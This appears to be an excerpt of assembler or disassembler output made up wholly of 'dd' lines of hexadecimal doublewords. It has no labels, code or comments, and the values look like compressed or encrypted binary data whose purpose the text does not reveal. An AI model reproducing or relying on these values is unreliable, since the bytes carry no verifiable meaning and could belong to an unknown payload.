		dd 2E404876h, 0F9714169h, 8FC3017Eh, 2922E302h,	10070681h
		dd 2894CA24h, 2970B4BDh, 0E9837491h, 7068A302h,	0D0B86248h
		dd 70F4DB31h, 188CF51Fh, 25303C89h, 18319A3Eh, 3FB8DB36h
		dd 618C6F7h, 18335845h,	7CEB683Dh, 48096F58h, 0F108138Dh
		dd 9E1188BCh, 462B16F6h, 0E85922B0h, 1C09234Ah,	349CA6C6h
		dd 0F72A2710h, 9ECBCC02h, 0E1C23002h, 7421A568h, 6C2083F1h
		dd 29B8642Ah, 8A78800Eh, 0DCA08164h, 10CAA72Dh,	6A05F80Fh
		dd 0E01C4D09h, 182440E4h, 303CA824h, 0A24A3843h, 0F9E0CC90h
		dd 0D5338A08h, 74C4A89Fh, 9BB6510h, 6AC4055Ch, 0CAE80E27h
		dd 3188288Ch, 0B7E45D50h, 8F5524BAh, 9C87D280h,	0C880892Ah
		dd 173CE0CAh, 8945481Dh, 846280Dh, 0F85B77E0h, 0D8591D08h
		dd 44BE3A18h, 46DA8800h, 0A9D7E815h, 919C6107h,	7220BB34h
		dd 29E48B75h, 210B871h,	7AC362A5h, 3C1E0420h, 0CBA81D0Ch
		dd 10280E25h, 724809A2h, 0BBC01C9Ah, 7160A102h,	3E812438h
		dd 9548000Ch, 18C8FAC1h, 0E8190A58h, 0E0B854FCh, 0CCE74C4Ch
		dd 4441FF38h, 151B5378h, 0A3704F68h, 31E0F633h,	7BF0EF20h
		dd 44B8E236h, 4E00DB2Eh, 8B73E0DAh, 305C64h, 766B680Ch
		dd 93B92815h, 0E3492E0Eh, 74A98595h, 1CF92030h,	0DAD220A5h
		dd 80038428h, 58D90829h, 4DE77283h, 0A400A487h,	815978Ah
		dd 0FB840706h, 2808BBE8h, 0F8849FC8h, 178D3968h, 0B8B063FEh
		dd 101FED21h, 0C8069ADDh, 6418E2C6h, 4CAD11E3h,	3E880873h
		dd 0A80A509Fh, 7A07764h, 0C0180AF8h, 8FB85A6h, 28197533h
		dd 3108783Dh, 8A2847FCh, 1BE8F059h, 0FB208CFDh,	537C588Fh
		dd 481A08Ch, 501AED8Ah,	2718C480h, 0D576A8C6h, 947D1208h
		dd 8D6182Eh, 5E50BD29h,	8D1C6D4h, 2778C028h, 48CD92CEh
		dd 21193853h, 23B90ABh,	0ECC094A8h, 59650910h, 40075692h
		dd 8B18844Ch, 0AB3F0018h, 0F1BB7B0Ch, 4ACC0092h, 0AA8131BDh
		dd 80031D7Eh, 601E2E34h, 0C0409F63h, 0E01CE107h, 680E01FEh
		dd 8D927E74h, 0AC4180BEh, 0A01E0AD3h, 89162DCh,	18901F99h
		dd 0E500B9C4h, 92F4AEECh, 848DA8Ch, 8442401Eh, 10C1CE70h
		dd 3FB2C96h, 1E46A56Ch,	443085E0h, 20EE5DE3h, 4C1BBA0Ch
		dd 0D3B8459Ah, 6920A08Eh, 6468C62Fh, 803118D2h,	7419104Dh
		dd 28980102h, 88181AF0h, 2C78F4DFh, 135D07C6h, 4E496620h
		dd 4025D106h, 6096EB37h, 1353360h, 209C7FDh, 87218505h
		dd 4820B10Ch, 0E7A0FC65h, 780008DEh, 9261318Fh,	1E027837h
		dd 0F48FFA5h, 0F938D82h, 0E10EFE00h, 7C4118B8h,	0CDA0FB64h
		dd 0CBA0AD83h, 5E40C11Eh, 7A24719Fh, 285C611Ah,	0D0FA3A61h
		dd 28C64B60h, 63130E0h,	800168E4h, 0DF9809F7h, 31F1A8C6h
		dd 9ED6748h, 0CF14C871h, 192870CCh, 9A03BCE5h, 98A01FBBh
		dd 0C726E780h, 77601F10h, 2B1E3DBAh, 0AA200CB5h, 9B444018h
		dd 480C6354h, 0C0E1AD51h, 602887C5h, 0D8EB6CEh,	71E01858h
		dd 7338C4A4h, 31130CB5h, 4093641Dh, 0E01B1C6Fh,	8DC79908h
		dd 0D94EC040h, 0E7C10335h, 0A90148D8h, 0D6410811h, 0C0F0B630h
		dd 0B8A02124h, 0B0A1C431h, 0A0D040F8h, 50DDBCD1h, 30D88399h
		dd 0FCF082DAh, 0E1041E3h, 6A2008BEh, 408041FCh,	1828DE26h
		dd 4920E019h, 0CAC010C4h, 68E3A087h, 0B0A0A08Ah, 7C40CC95h
		dd 4E7F60B0h, 2C1930C6h, 105D6208h, 0F622F040h,	9C9B0425h
		dd 0E100AF88h, 0F3B3A4DAh, 52870C92h, 0DA8014F2h, 0F58B5078h
		dd 0EC1A6090h, 9458F7C0h
		dd 578B3F74h, 50936D18h, 0F95201CCh, 712F8114h,	0AC12BCD6h
		dd 0D8824862h, 1894266Fh, 3EA370Ch, 248C8184h, 948F84Ch
		dd 3C046A25h, 0CD4E1D22h, 6FA18634h, 0DC04F820h, 313508h
		dd 41319054h, 902A38h, 106C7B07h, 107C8AA0h, 0C09A5059h
		dd 14F0904Ch, 48EDA8C0h, 0A685BDA0h, 6C9C4D54h,	269CEC48h
		dd 2D5024E1h, 0F52608EEh, 0D20CF272h, 0C3B2B066h, 0CECD8130h
		dd 28C93824h, 98023138h, 0F0401B20h, 0C97412C0h, 7C098998h
		dd 73022C16h, 939D84EBh, 14090FF3h, 0C1B74C04h,	89C4400Ch
		dd 8315E058h, 0B68CC110h, 40324960h, 884C7624h,	2D040A82h
		dd 9CCB1F7Eh, 8C7A6907h, 142C8952h, 515041F1h, 9961C0ACh
		dd 0E166A048h, 1D5F088Ch, 33E99EB8h, 0B41483F4h, 0ACEB334h
		dd 323DEC50h, 34CC3F88h, 28204009h, 0DB0CCC9Ch,	39EAC4DCh
		dd 58FB4DCCh, 0E1405233h, 3814E4CBh, 0E0DCBF17h, 0FD2EF9ECh
		dd 10ACC995h, 38EDA581h, 68C1098h, 18CCA06Bh, 6BD0DF4Fh
		dd 8B1D828Ch, 6C2282EDh, 80BC8163h, 4665C90h, 27D0100Fh
		dd 0B5F14C3h, 795B11B0h, 39359C01h, 3608D80Ah, 4A3C0880h
		dd 3F5638FDh, 1CA0F37Ch, 0B400EFAAh, 795CE0BAh,	0CAE29FCh
		dd 8039981Bh, 8474C428h, 1C555829h, 0A3189781h,	70831BA8h
		dd 1A1C70DCh, 0F3EE99D0h, 18A657FCh, 9884A704h,	3C001949h
		dd 581A4882h, 28DE2932h, 0BE1898EEh, 0C55322ACh, 0A61C22h
		dd 381BB2A2h, 0F8F3CB46h, 2B812A3Ah, 2B0250B8h,	22D1540Eh
		dd 8480317Ch, 0FD621C58h, 5325F81Dh, 9383542Bh,	0C428A517h
		dd 11A75C02h, 53C03008h, 0DDBC230Dh, 45AF0AA1h,	313A7094h
		dd 29118B31h, 9444619Ch, 0CCD27870h, 0E06A54DEh, 0CBAFEFCh
		dd 747DB8FEh, 5C0A13E0h, 1CEB98FDh, 764CB760h, 4E8028BCh
		dd 578101C4h, 884158FDh, 47FCD1FEh, 45DD8298h, 3C05008h
		dd 629B946Bh, 0B43C40BEh, 60E11800h, 8390A507h,	0F81CABC2h
		dd 34483175h, 47180514h, 6C77FD0Eh, 0F3846E13h,	7C302BD4h
		dd 7EAC0240h, 5C2054FCh, 30FEA917h, 0B808E738h,	0B8C7CC8Ah
		dd 8CCEA57Fh, 60380841h, 61F1290Dh, 0F63EB8FDh,	767815AEh
		dd 9DA71B9Ch, 298AE320h, 823CED18h, 686F79EEh, 4B4FBC22h
		dd 8352EA28h, 1DA850A0h, 6A08B70h, 0E0466DD8h, 78587E61h
		dd 0B040BB05h, 0F8FC93A4h, 18B262E1h, 0B447775Ch, 0AB5A0F01h
		dd 708CB128h, 5860419Ch, 0ECC83F68h, 2235F958h,	0FC01B740h
		dd 38F3E78Eh, 7823CB9Dh, 4715429Eh, 0DC0108CDh,	0F84ECCB5h
		dd 0E7378506h, 3C18292Fh, 9B509AB8h, 0C5DC91CBh, 6D1EC18Ah
		dd 0E6C42407h, 40FD0F2Bh, 0DD231A80h, 0EF204C4h, 7EA338Ch
		dd 0D62A5000h, 0E507D006h, 0E94E487Ah, 92263890h, 538C0EF4h
		dd 0B00A0881h, 0CC80C114h, 8B14FD97h, 2A8F350h,	98249082h
		dd 388B4114h, 1340A3CBh, 30E018B0h, 14D8C229h, 4C5AAC01h
		dd 0B3011D87h, 10A08A9Ah, 0EA6014F8h, 612A2E52h, 0BDD3A0C3h
		dd 0AF0C1FEh, 97670C76h, 7328D9F1h, 64C46229h, 0C6EE2945h
		dd 93142928h, 0A03C698Ah, 613FE8B0h, 4D332951h,	3C88AFAh
		dd 0AB01A4BEh, 0AC902D91h, 87F0A0CBh, 102C0E88h, 7895A272h
		dd 0DA56FBC1h, 53518233h, 0DF0FBCF3h, 9FD0EA8Ch, 0E9081F62h
		dd 805F03C8h, 8F7A7010h, 0B0083A30h, 2D780CE0h,	5A4C81Fh
		dd 5EAFC0Fh, 74302B70h,	44E46252h, 7C29F328h, 0CED81Dh
		dd 0B0FED49Bh, 0E31280F4h, 9002B0A7h, 217BE8E0h, 23E291B3h
		dd 9CC8128h, 0D84862D4h, 782C70C9h, 7988AED0h, 3C5B106Bh
		dd 66730AC2h, 15503CCFh, 0ED5931A6h, 0FB869329h, 2A9EC814h
		dd 8723090h, 57BC8B70h,	4D06480Eh, 4120D48Ch, 9CA6332Ah
		dd 23677D0Ah, 83C9189Bh, 0D7EB369h, 1ECC53C1h, 0C888DA60h
		dd 9F54E330h, 0F32340FAh, 7828A5DCh, 31A41154h,	0D713001Dh
		dd 20900FADh, 0C054911Fh, 68E1E226h, 0DCB331C1h, 2C220FA2h
		dd 924C40C0h, 0A49010A8h, 58FFD334h, 0CF4A42Ch,	177990C6h
		dd 0F7127328h, 7C2C0E4Bh, 0F3301832h, 0CC9329C1h, 0B31CA8D4h
		dd 4255A1DAh, 7B337985h, 0E9642892h, 0CE37900Ch, 24532839h
		dd 0AB8C0D5h, 9F881C6h,	0C01C8088h, 174C3E04h, 0F300B0C8h
		dd 900EADF6h, 0B8B65B31h, 18239222h, 17696680h,	1380B76Fh
		dd 0C88F537Ch, 8652C881h, 0B361891Bh, 0ABC22E2h, 89F48F96h
		dd 9AC1CFDh, 0A30B0887h, 30D384A7h, 6DF00E40h, 0E0281848h
		dd 18352011h, 10790595h, 8A0CD41Fh, 8D7DE13h, 82493196h
		dd 0D858DA10h, 0C600F7CBh, 6080A8A1h, 0D7B42Eh,	3BDC39B9h
		dd 907B8B1Eh, 107BCE4h,	3CFB5B0h, 993DDED0h, 0BD0407C1h
		dd 501681D9h, 0F3293B92h, 0DD25801Fh, 0F40C6040h, 1DABB5h
		dd 0DC2E3554h, 6A13C8Ch, 3375A00Fh, 3D2B7Ah, 0D52F56Dh
		dd 99410764h, 0B00AD7D9h, 7BE50F78h, 0EC3D5E00h, 0C415522Ah
		dd 8FB700CCh, 0E0BD2D79h, 27002675h, 0C76EB033h, 76B9754h
		dd 0F170B6E6h, 6711C072h, 0E7008CC9h, 8975421Eh, 1FC198DCh
		dd 5F24D430h, 0CAC8C019h, 9A45DF03h, 1575D21Eh,	0C10B2647h
		dd 0A06CA6B3h, 0A421EAh, 68F0A70Ch, 7A98EFECh, 761ED300h
		dd 1A7B46B7h, 1F2178C9h, 1E4BA81Bh, 37B20018h, 8E38A1FCh
		dd 8590D904h, 0A5C09F45h, 3DBEA8h, 0FFA07D11h, 720A3478h
		dd 523B4B00h, 205A1ED4h, 8DC10056h, 8B1469E8h, 2FF618B1h
		dd 9E0647E2h, 0B9B49701h, 0BBFB0006h, 8337D32Dh, 4919F957h
		dd 9B1A027Ch, 1BB8F0h, 0E676A142h, 26086F3Bh, 0D98DCD01h
		dd 0EE7A53F0h, 0F5B9E0D3h, 0C843004Ch, 0BA85DA06h, 0E201C60Eh
		dd 51F3D5FDh, 918021A8h, 0DB3723D9h, 4004CB0h, 9734FDD1h
		dd 18FA2AB9h, 50D2D044h, 0FB01368Eh, 0A1D96F85h, 47D37C25h
		dd 78FC0419h, 6B9F7A00h, 94D4B92h, 5D79F2h, 0DED6C91Fh
		dd 801E46DCh, 387330C7h, 62C1FB80h, 83350074h, 70FC75C5h
		dd 0E451D249h, 7F340F88h, 0B04C3852h, 118D342h,	60AE38F2h
		dd 0F46D135Ah, 0FD28F3DAh, 0AC059FEAh, 0B61144F6h, 9B2A0C02h
		dd 44E72516h, 2008D618h, 898FC447h, 42840C6Eh, 84C2216Ch
		dd 45838012h, 0C04F706h, 0F5278DF4h, 2A24059Dh,	9E0C058Fh
		dd 0A7180203h, 0A228257h, 100C8F3Eh, 2004B2C4h,	40E47180h
		dd 0A8D176DBh, 0A519B224h, 244ABA54h, 54BB0C7Eh, 27502318h
		dd 54A89278h, 0CA125CAh, 0F4A30C4Eh, 52A2898Fh,	0C0990C24h
		dd 0B08450E6h, 0A9106B5Ah, 5D0CD9AAh, 271917CCh, 8188547Dh
		dd 3B0A80B4h, 8EE52104h, 903A63h, 680C8Dh, 1F6983EAh, 21BD8582h
		dd 0EF29E00h, 0E8044297h, 447E6Dh, 0C3A46880h, 0FB49995Ch
		dd 0A38AE093h, 7E03808Ch, 457AF2Ch, 70D26FA0h, 1CEC809Ah
		dd 0D03BECBDh, 97BC80CAh, 77984005h, 50DC5019h,	0E87F3FAFh
		dd 284C31BBh, 0EE9DD806h, 4B2689F2h, 241C6E50h,	86F43BBEh
		dd 655C6738h, 0AB3409C8h, 7C28FCCDh, 0EC9CF11Ch, 5E1F9094h
		dd 68588471h, 1EFE6B0h,	0F983CDD5h, 0D2A53BADh,	18E9B440h
		dd 8A6E7D01h, 8C8654F7h, 11455880h, 0E4269863h,	0FCF058h
		dd 4E7D4A84h, 5218A336h, 893CC8DCh, 0CD3B2473h,	0C47B89DCh
		dd 948B0000h, 14A0D3B9h, 68C4D0FFh, 0BE3108E4h,	0B163C47Bh
		dd 72C38B03h, 0E9328A80h, 0A0806256h, 35514152h, 1274D98Fh
		dd 65984E00h, 66B44CFDh, 0C7811DDAh, 40C3ED7h, 9CB99643h
		dd 94F0B0A0h, 0A0906014h, 0B32F009Ch, 9918CADAh, 0B15300CEh
		dd 69F6D8FEh
		dd 94B0E205h, 14A3D3Fh,	246AB941h, 0BAF0063Bh, 0E7350F37h
		dd 16EF157Ch, 0FF8E7B40h, 86008F03h, 0B69BDA44h, 0BF0455h
		dd 0D257A8BDh, 8218B8C0h, 0FB4058h, 328B53CFh, 7805FBh
		dd 94AAAEADh, 0E23B089Dh, 0BDF5C41Dh, 4F400F3Ch, 415D03E5h
		dd 9545E0F2h, 74C630D8h, 0D1F3B4A0h, 0F894111Dh, 47846A04h
		dd 0E01DFE00h, 16079867h, 45C5E39Eh, 0CF6D6AC0h, 1820DB07h
		dd 0F0467EA9h, 150ED8F2h, 9F37F469h, 313BBB0Ch,	0CD7417Ch
		dd 2257884h, 1E1A4362h,	0DC45A8h, 59B18AD2h, 0D86056D1h
		dd 12D3F619h, 22318FDh,	514D5024h, 4E70F8ECh, 6F224803h
		dd 0F0B25B8Fh, 0FE3EC174h, 29207B9h, 0C0586567h, 0E0D71C05h
		dd 3550F580h, 1B83A35h,	6DF80FB2h, 84C0A06Ch, 403C7C30h
		dd 14A89BFEh, 0A8C525AAh, 70F8017Ch, 6A2E1767h,	0F128F86Eh
		dd 8151F500h, 16F0D5FFh, 10E0079h, 64DE7310h, 0DB01C7BCh
		dd 8760DF85h, 0C5E0C9F1h, 7C764Ch, 0E89132ACh, 0FF803E15h
		dd 0D1605D7Dh, 0B3A23B28h, 106403E7h, 0D5334289h, 3F0BC288h
		dd 0AFA42D00h, 64D87E37h, 340D1C4Ah, 0D68D00FEh, 8692E593h
		dd 0DD238B00h, 796B95B0h, 0D39B0026h, 816DA7C6h, 0E2372DE8h
		dd 2950B082h, 0AE43BB07h, 0D8691030h, 622AA0A9h, 248B0E87h
		dd 6B80C1A1h, 0B6206A69h, 0D05AFF00h, 83AF5CF3h, 188D0F11h
		dd 6D6FF9EDh, 8AE20F60h, 4B01D4C1h, 0A36B9423h,	83D4367Fh
		dd 0B5920078h, 8043E74Ah, 5D099C7Dh, 80728D0Fh,	833379A1h
		dd 76C101C7h, 0DBED06B6h, 8778818Ah, 0E226D4F0h, 0F98051BFh
		dd 0B2F880A8h, 0DF50FAADh, 131106A0h, 0FF588114h, 50FE79h
		dd 29B51D79h, 0E6925E20h, 5DA52200h, 0DBFB64BAh, 0DE5B073Dh
		dd 0C2CAB7DAh, 0CC84F874h, 6864C18Bh, 6FA0835Eh, 2C86C9Eh
		dd 4A38C3F9h, 0C087EEC7h, 5012C36Bh, 11E07903h,	0BBB965E4h
		dd 4800E5FFh, 0B8971EC1h, 1F53099h, 871B4A80h, 1DF2B71Ch
		dd 0E800AEE4h, 696DBACEh, 3DA40301h, 1C466E98h,	7D6571A8h
		dd 21154D0Dh, 8400A1D7h, 1F0705h, 0B7D053DAh, 5A0CA645h
		dd 0ECA8FF74h, 6350503Ah, 13188BA0h, 6FB1F0B3h,	0EFCB8856h
		dd 586CB6EAh, 0FE0B8E8h, 25857651h, 3B9F4100h, 0D0005B07h
		dd 0AFFC6EC8h, 50745887h, 18E6CC8Fh, 2006330Ch,	6800EE90h
		dd 0A197CB30h, 1E43EE0h, 5AB9F9B3h, 0C8566083h,	0F26084E6h
		dd 8851F331h, 8D2700DFh, 5775395Dh, 349295BDh, 0EB79F22h
		dd 0C7A1E179h, 0A61CCA41h, 3D180CCh, 36B2AB82h,	0A246009Fh
		dd 53351FDh, 0BF3A6057h, 395B9419h, 6FD10608h, 81B9C05Ah
		dd 0F1184908h, 198C549h, 191ABA3Eh, 0C1D1B871h,	0D351CCh
		dd 5B7D3C26h, 5C5F4AF6h, 3DAF2A1Ch, 931EB041h, 6FFCDAA4h
		dd 36A36043h, 0E044F5Ch, 0C35A4019h, 4505638h, 0C24A78Ch
		dd 58E9AA5Ch, 0DB719518h, 3FBC5F00h, 46CA04D8h,	279000F8h
		dd 6E148670h, 40C0C4D9h, 6619A7EDh, 98D87813h, 0F0BE00DEh
		dd 0FD30C232h, 9903C005h, 0ACFCBDFEh, 0E74097C6h, 0C9597DEh
		dd 5B47249Dh, 45001889h, 931520FEh, 7E226Fh, 0CB0EBF6h
		dd 79EC40BCh, 0B073FD30h, 0CCC096h, 0F62DE12h, 3A01F7B8h
		dd 6FE92F1Dh, 156E91C0h, 1C351ABh, 0E5BB1BEAh, 403D2276h
		dd 0A6A01A28h, 42FC5A00h, 6071E296h, 0A11C0BBh,	46CB265Eh
		dd 1CAB5805h, 3022BA28h, 7BA091B7h, 0C7FE4850h,	0C5BF0034h
		dd 0E9F66C26h, 0E800D96Bh, 0B0518C6Fh, 0FF07421Fh, 57C13880h
		dd 21472D31h, 8425F900h, 0CF3E720Bh, 0B83A7543h, 0E20FEACBh
		dd 8B080022h, 5DE41B59h, 93007C34h, 0A8F4F1DBh,	3A38A402h
		dd 0B3801373h, 8B1BF67Ah, 9E003714h, 3E8FDB46h,	79032Ch
		dd 3A743F4Eh, 90CF4DA8h, 86D72900h, 2841439Ah, 0AB3006Bh
		dd 7072881Dh, 0A9F818F4h, 802439h, 0BF177C7Ah, 6322BBh
		dd 344AB8F7h, 65640E9h,	87B2473Dh, 7EBB89EEh, 321D83E0h
		dd 7D9B0E71h, 0BAEC027h, 260090F4h, 0EA178599h,	63EA5A75h
		dd 3B95A700h, 0CC707FE6h, 0DB270026h, 29B69E83h, 0E502BD1Bh
		dd 0BF6FA428h, 0C206033h, 7FE28Bh, 8ED3D0FDh, 434F6AAh
		dd 8A0AFA18h, 0FE8C6519h, 0EE8F01D9h, 349053E6h, 56E8F36Bh
		dd 2700F2FAh, 5F9EEDA6h, 7CA01BDh, 60598904h, 0D7313086h
		dd 6E612302h, 0C1A86430h, 0C5FD4h, 34218A04h, 1603AAECh
		dd 55F05800h, 3AE9CF68h, 92B50052h, 1F79761Eh, 0F1635E57h
		dd 0FF472A68h, 4495288Ch, 0D9206D24h, 9B08ED7Ah, 0F562820h
		dd 0B6D45AE1h, 0C52D4CC0h, 76225719h, 225122F0h, 0C73BCD00h
		dd 0A00C8DB6h, 6FB87Ch,	5FE75ABDh, 0DE6CAB42h, 1B0EDDE8h
		dd 0A18F2A29h, 7BFEDBD1h, 0EDFD60h, 4C0238CCh, 1E09F99h
		dd 54B19B00h, 0B97CDDD6h, 0BA6C1236h, 73830063h, 6F7E89B3h
		dd 1933500h, 84BB5394h,	564600DCh, 43B05530h, 7E004B20h
		dd 83128C7h, 0C7C47h, 3B29B87Dh, 1581B098h, 0EE8E4100h
		dd 8460A053h, 78EB3939h, 775FCD00h, 0DB07A1A9h,	0D70A3100h
		dd 0FA7DA754h, 195C0071h, 8F6479A3h, 5D007395h,	68D7B31Ah
		dd 0C8D8DAh, 6A0D6CF0h,	0F2C44AFFh, 3A0A3E06h, 2620B3D5h
		dd 0EEA368h, 7D6FF331h,	0C6006173h, 8ED64167h, 8B76C4h
		dd 0DEAED893h, 0A1BBA79Fh, 438A5B01h, 5D2E4B0Ah, 9AC58081h
		dd 0C404D1C9h, 0D0736524h, 7ECAC300h, 0FA194250h, 54E81F36h
		dd 0E7104047h, 66A6C80Bh, 5EFDA18h, 3FD771BAh, 0D1807948h
		dd 0C5F20EBFh, 0EC0058FCh, 9D5A4184h, 38A38Fh, 0EECF266Fh
		dd 0E11898C3h, 0C8075700h, 8B8FE8AEh, 597000C4h, 0D9CD43A7h
		dd 92007689h, 18960391h, 9B7E82h, 0AEAA4CE3h, 23873DF4h
		dd 29CEB200h, 2D26E9B7h, 1E662896h, 77E000CEh, 89169E41h
		dd 0D4E1D6D8h, 6EC7EC57h, 0BCE3B2B0h, 0E8FC3E8Ch, 48362Eh
		dd 0D0E532AAh, 351CEB87h, 508043F8h, 85E36399h,	0BCAC0058h
		dd 0A76712B1h, 30C1B6FBh, 90032FFEh, 0E0C19270h, 7DCE1C70h
		dd 0B8420079h, 5E2A128Ah, 0BC0039F6h, 0B438D197h, 4B9A06h
		dd 4374244Fh, 1EB27190h, 1053F30Fh, 79B9C064h, 3965577h
		dd 0F45473BDh, 0A7A87FC2h, 0BA1CE70Eh, 668E0365h, 3F4DA0D1h
		dd 0F8D68E2Ch, 7F5800C1h, 0EDD81D05h, 72033CE0h, 0F3E6E20Bh
		dd 0AF690C65h, 0B7DE8064h, 460130E6h, 763BDB6Bh, 0CCF0E9D7h
		dd 1D8D0054h, 0BDC04A2Fh, 5307267Bh, 3823D0B8h,	6BD1AEB0h
		dd 3AF71CEFh, 0C5A18596h, 8DA60069h, 2274FEFCh,	9C1FFD0Fh
		dd 4BA38725h, 3199DB90h, 0B6FF0087h, 70AF9A0Dh,	0E0025E9h
		dd 74BF1A6Ch, 0E8C86Fh,	5C8D65CBh, 0C7BADA36h, 0C6FA211Ch
		dd 0F415A9Eh, 386B7946h, 3CFDC4h, 0D27C9722h, 70885621h
		dd 0C5A4C200h, 59FECD06h, 0F97E00F8h, 0EF69630h, 70022C77h
		dd 269EB282h, 860848A4h, 40EC0056h, 0FFCEA5C7h,	570F1A03h
		dd 0A13B30BEh, 0B28DCE3h, 511170h, 0D387F723h, 130ADFADh
		dd 82F8571Eh, 45313D82h, 0D73360B0h, 701100EEh,	7FCBAEDFh
		dd 0F20CAC6Ch, 0B004F14Eh, 0BAE069h, 324659A6h,	64530354h
		dd 17259600h, 0A524728h, 0D6580608h, 104E7BF0h,	0DA6D3Fh
		dd 0A9AD484Ch, 2ACF40h,	917525B0h, 788837Bh, 0F2192B00h
		dd 0E043637Ch, 731A0087h, 0D9803C5Ch, 0BDFEA49Ch, 3B4C0600h
		dd 16CBBF52h, 73AE1328h, 7584007Dh, 0FCC61849h,	0EA1D9F00h
		dd 0B17FE590h, 9D07011Ch, 253BC023h, 0E08AD404h, 4C21D500h
		dd 2B0F9980h, 0EEB8F2h
		dd 0D81C8D63h, 94F3A49Eh, 0CB40A600h, 0F4D3D46Ah, 0C24200F5h
		dd 0AD2885E9h, 989734h,	398B738h, 8B02E8B8h, 0D61CC8C3h
		dd 46180028h, 0EF958204h, 1A1E1DC9h, 0F3BA6F21h, 0A62F907h
		dd 0D508CCAh, 0C4EA7h, 45D580C9h, 0C5859ADFh, 0F63E9700h
		dd 0E94BE239h, 43C15C05h, 23690A00h, 0B89FEC7Ah, 42901F00h
		dd 97B45F62h, 1CC50E28h, 0EB203058h, 159B9248h,	0B5B21D00h
		dd 0D797F4D4h, 187E007Dh, 0B8FD3442h, 1200153Fh, 5E6C3A6Dh
		dd 5491DDh, 618973F8h, 0B1495388h, 0D3C1100h, 0E403910h
		dd 0D080979Dh, 65C16E4Ah, 87EED83Ch, 0FA74E3D2h, 0AED4F4F0h
		dd 4F3807DDh, 0B0664960h, 881ED505h, 8B0AD100h,	0FB2A64E7h
		dd 0C57100F0h, 2143823Eh, 3007B82Eh, 9FC9C8FEh,	0EFEBC7C0h
		dd 0F47A48E8h, 684CE000h, 0D7F3BD99h, 69DCB00h,	498460Ah
		dd 0C4A2503Eh, 4CD800ABh, 37D16144h, 5B00B7A6h,	7F4AEE9Ch
		dd 0B9F46h, 6C86685Ah, 96EA75BFh, 16223600h, 85C80147h
		dd 59580031h, 0BAB7FD80h, 0F720EB52h, 53CA008Bh, 0C647E73Ch
		dd 0E31CDB63h, 14004C66h, 33D0A20h, 3C4AFADEh, 0A700CA83h
		dd 0DD1849Ch, 0FB00D757h, 0FF0793D4h, 0B0533864h, 0D54201E5h
		dd 0B91D4A6Eh, 0E46021C5h, 0E2003AA3h, 0D01F26DEh, 0FED370h
		dd 3666F61h, 97270D4Fh,	0B7FC0276h, 42123Dh, 0AE6573AFh
		dd 13E08BFFh, 0FC31AE4h, 0AAE06F76h, 94776D93h,	17499D0Fh
		dd 0FF32E092h, 0FF12BCEh, 6D4D30DDh, 0F6CA06E0h, 0C984A3Ch
		dd 5B7A040Fh, 60E28FFEh, 9982585Fh, 0A0F45A67h,	8D016A12h
		dd 74C6D6CFh, 0B5E840F9h, 7225008Ch, 0B912583Eh, 0FA588B09h
		dd 24DA00AFh, 8F49AC6Ah, 1BEE07Fh, 0CCF674BAh, 70D1CDA7h
		dd 0B1E64F0h, 53C19CA4h, 7B73BA99h, 0A830E421h,	87B70075h
		dd 479508B8h, 530077C8h, 0F560CFD4h, 1333FC6Ah,	79DD0Fh
		dd 4E977808h, 0D800DE1Dh, 93ADF363h, 0EE2169h, 0DFA2FA99h
		dd 4DF667E0h, 262D5500h, 0BD6E3B44h, 39F3F88Ch,	9526FDC6h
		dd 1E167Bh, 79A77BB7h, 1902F2B3h, 3456DFC4h, 6A083A0h
		dd 5325C0B9h, 77930071h, 37590E01h, 80149966h, 7D41C7Bh
		dd 0EE4FA6FBh, 0C0446DD2h, 0AFECF9Fh, 30776EF4h, 8836078Ah
		dd 0F840803Eh, 0A700789Fh, 0B73B12Dh, 3912024h,	0A83AA027h
		dd 63E9887Ch, 0CE2181EBh, 0CD0F4DE8h, 8E40E0CBh, 3D99035Fh
		dd 0EBAD4BAAh, 265EE5A0h, 6BE04A00h, 0DC0E1985h, 0C0FC0097h
		dd 0FBCEAF2Fh, 0B8075163h, 0DB61E986h, 0F1AE66F0h, 71A0C0FFh
		dd 91E36772h, 0C217E800h, 0FB552234h, 0C1C703B9h, 0DC064B38h
		dd 6F822680h, 0CEEF400h, 2D334AE9h, 5B5D0053h, 0FEAE6CC5h
		dd 50EC45DDh, 5C177926h, 427DFC83h, 8DC0D56Bh, 335ACFh
		dd 551A4B3Bh, 4329FEC6h, 95E3E71Dh, 4FD5EF00h, 4EF6C8h
		dd 2508A911h, 0FE635126h, 0E929B2Ch, 56C6600h, 0BEF118h
		dd 344FF745h, 53392359h, 8EC1D300h, 6D86E4C3h, 0EDE538DCh
		dd 8FB14801h, 0FC1A14AAh, 9CF2CC59h, 2DD75401h,	0D1255D33h
		dd 39D9D0h, 1FDABF95h, 8D3D7CB2h, 0E201C700h, 301388B5h
		dd 833100E5h, 0A299A032h, 4B00AE6Ah, 594F6E21h,	32F301Dh
		dd 911CDD86h, 1FA05FA5h, 0D7092127h, 87461ADBh,	6F77E2DDh
		dd 59BC10A0h, 7F4900D2h, 692F1256h, 6A3E5E6Bh, 5FBAF0h
		dd 1F089951h, 133787Eh,	2E1C85BDh, 0FC75C7D3h, 0D576037Ah
		dd 0EFBB1600h, 72CA2164h, 8A61008Ch, 8911D2Fh, 300E0AEh
		dd 270A9CDDh, 3914D5BAh, 4580DE9Dh, 0A1AB7BB2h,	260707A0h
		dd 4B08AF6Bh, 7959FD30h, 4D850F23h, 2260465Dh, 61DE75CEh
		dd 51E9352Eh, 0C55AB300h, 0B65B18h, 2962DF46h, 1689F55Fh
		dd 766D9B00h, 0FA93B76Eh, 8BDA3CF6h, 30040F8Eh,	7338B6E0h
		dd 0F7E85AAAh, 253D2800h, 19B3E0B4h, 0A4AF0142h, 9164C04Eh
		dd 0F95BE46Ch, 5D044400h, 0EE732BA9h, 306F3D54h, 8926500h
		dd 0E84AA2CFh, 15C5A07h, 83A031FCh, 15DEE56h, 13DBBE2Fh
		dd 7FA7763Ch, 5686AAC4h, 0D7B0538h, 1DDADDh, 0C7FEC2E8h
		dd 0CD2418DFh, 394042h,	5C871EF1h, 77109092h, 72E1481Ah
		dd 0D0656867h, 0AE09AC6Fh, 0E61E7CE0h, 0C640C9C7h, 0BC66B6A4h
		dd 2D28C14Fh, 0C435B1FAh, 5B3BF8EEh, 723000B2h,	0DE760B8Bh
		dd 0B4DC02F3h, 52CD92EDh, 0B08AD880h, 0F7059B31h, 5FA36114h
		dd 8CF0F090h, 8413007Fh, 0ABD68115h, 8700EDEFh,	0DCCFA4A8h
		dd 4809A051h, 5000A088h, 4006AAA7h, 5C000EBEh, 0A81827D8h
		dd 3AD29852h, 0D900FA0Ah, 2931990Dh, 703F2655h,	0F5C09CF6h
